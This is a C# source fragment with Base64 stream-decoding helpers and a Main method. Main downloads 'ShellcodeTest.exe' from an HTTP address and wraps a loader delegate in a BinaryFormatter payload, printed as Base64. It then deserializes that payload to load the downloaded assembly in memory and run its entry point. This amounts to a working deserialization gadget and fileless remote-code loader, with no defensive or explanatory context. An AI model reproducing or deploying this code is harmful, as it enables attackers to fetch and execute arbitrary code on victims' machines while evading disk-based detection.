private static void DecodeStream(Stream inStream, Stream output) { System.Security.Cryptography.ICryptoTransform transform = new System.Security.Cryptography.FromBase64Transform(); using (var cryptStream = new System.Security.Cryptography.CryptoStream(inStream, transform, System.Security.Cryptography.CryptoStreamMode.Read)) { byte[] buffer = new byte[4096]; int bytesRead = cryptStream.Read(buffer, 0, buffer.Length); while (bytesRead > 0) { output.Write(buffer, 0, bytesRead); bytesRead = cryptStream.Read(buffer, 0, buffer.Length); } } }
public void Decode(string inFileName, string outFileName) { System.Security.Cryptography.ICryptoTransform transform = new System.Security.Cryptography.FromBase64Transform(); using (System.IO.FileStream inFile = System.IO.File.OpenRead(inFileName), outFile = System.IO.File.Create(outFileName)) using (System.Security.Cryptography.CryptoStream cryptStream = new System.Security.Cryptography.CryptoStream(inFile, transform, System.Security.Cryptography.CryptoStreamMode.Read)) { byte[] buffer = new byte[4096]; int bytesRead; while ((bytesRead = cryptStream.Read(buffer, 0, buffer.Length)) > 0) { outFile.Write(buffer, 0, bytesRead); } outFile.Flush(); } }
static void Main(string[] args) { string url = @"http://192.168.254.130:8000/ShellcodeTest.exe"; System.Net.WebClient client = new System.Net.WebClient(); byte[] assembly = client.DownloadData(url); BinaryFormatter fmt = new BinaryFormatter(); MemoryStream stm = new MemoryStream(); fmt.Serialize(stm, BuildLoaderDelegateMscorlib(assembly)); //Console.WriteLine(JsonConvert.SerializeObject(stm.ToArray())); string result = Convert.ToBase64String(stm.ToArray()); Console.WriteLine(result); int length = System.Text.Encoding.ASCII.GetByteCount(result); byte[] bytes = System.Text.Encoding.ASCII.GetBytes(result); System.Security.Cryptography.FromBase64Transform transform = new System.Security.Cryptography.FromBase64Transform(); bytes = transform.TransformFinalBlock(bytes, 0, length); MemoryStream ms = new MemoryStream(); ms.Write(bytes, 0, bytes.Length); ms.Position = 0; BinaryFormatter fmtr = new BinaryFormatter(); ArrayList ar = new ArrayList(); Delegate d = (Delegate)fmtr.Deserialize(ms); ar.Add(null); Assembly res = (Assembly)d.DynamicInvoke(ar.ToArray()); res.EntryPoint.Invoke(null, new object[] { new string[] { } }); Console.Read(); }